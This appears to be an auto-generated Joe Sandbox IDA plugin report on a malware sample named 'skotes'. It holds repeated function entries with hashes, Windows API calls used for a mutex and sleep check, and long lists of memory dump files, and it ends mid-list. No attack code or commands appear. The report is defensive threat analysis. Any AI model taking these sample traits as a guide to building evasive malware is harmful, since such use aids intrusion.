Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 07eb278efc74cbe9ed95bef8bf25826b1d44f536221bc3e0098dcbcd0a73a5ab
Instruction ID: ca51daf709f4d4998f64583fe358fcde8b36d212c5c0911ff380e72884188f58
Opcode Fuzzy Hash: 07eb278efc74cbe9ed95bef8bf25826b1d44f536221bc3e0098dcbcd0a73a5ab
Instruction Fuzzy Hash: 6A315BB17042088BEB1CEBB8DD89B7DBB61FBD1324F208218E258DB3C5D7B559808756

Function 008FA54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 008FA550
Sleep.KERNEL32(00000064,?), ref: 008FA963
CreateMutexA.KERNEL32(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 79a083db9d96d2629011d017fed6eca5e03fa88d1e95fb388ad9acf4ca571cc8
Instruction ID: 56c320bbd07da5504323169ba0a01741b47402c9d7317ffede2289bf8f88f0f5
Opcode Fuzzy Hash: 79a083db9d96d2629011d017fed6eca5e03fa88d1e95fb388ad9acf4ca571cc8
Instruction Fuzzy Hash: D83127B17141088BEB1CDBB8DC89B7DBB61FBC5328F248218E658DB3D5C77599808712

Function 008FA682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 008FA685
Sleep.KERNEL32(00000064,?), ref: 008FA963
CreateMutexA.KERNEL32(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 499ef8fdef66034810be726db76caade69a7fe3c464f58cdc69111c3d76fe1eb
Instruction ID: 27148beee69440167f7896a183269a9fa266594921658b53b021092bf3ecc942
Opcode Fuzzy Hash: 499ef8fdef66034810be726db76caade69a7fe3c464f58cdc69111c3d76fe1eb
Instruction Fuzzy Hash: 703127B17142088BEB1CEBB8DD85B7DBB72EBC1324F248218E658D72D5C77599808712

Function 008FA7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 008FA7BA
Sleep.KERNEL32(00000064,?), ref: 008FA963
CreateMutexA.KERNEL32(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 59113b0b97f3d6d83c307865c8ca689c26a7740da8b2341dfa1db3c3f955cdf8
Instruction ID: cc5843e1035d50ca6e74e6921d53700d34d47b98e726a78e8324e8b6e8f61b9a
Opcode Fuzzy Hash: 59113b0b97f3d6d83c307865c8ca689c26a7740da8b2341dfa1db3c3f955cdf8
Instruction Fuzzy Hash: 6E3125B171410C8BEB1C9B78CD89B7DBB62EBC1724F208228E658D73D1D7B559818712

Function 00926E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6ea33138fd4cdce1f5d4fe865d827cc9bfdf69ecaed63f0dcafc3343a47524f
Instruction ID: 1379bc15b511212e74c2e46b2af3824463fd7de8c3cb2570b67f52d993737a60
Opcode Fuzzy Hash: e6ea33138fd4cdce1f5d4fe865d827cc9bfdf69ecaed63f0dcafc3343a47524f
Instruction Fuzzy Hash: 7021F4329042286AEF11ABA8BD42F9F77699F82338F210210F9643B1C5DB709E0596A1

Function 008FA960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 008FA963
CreateMutexA.KERNEL32(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
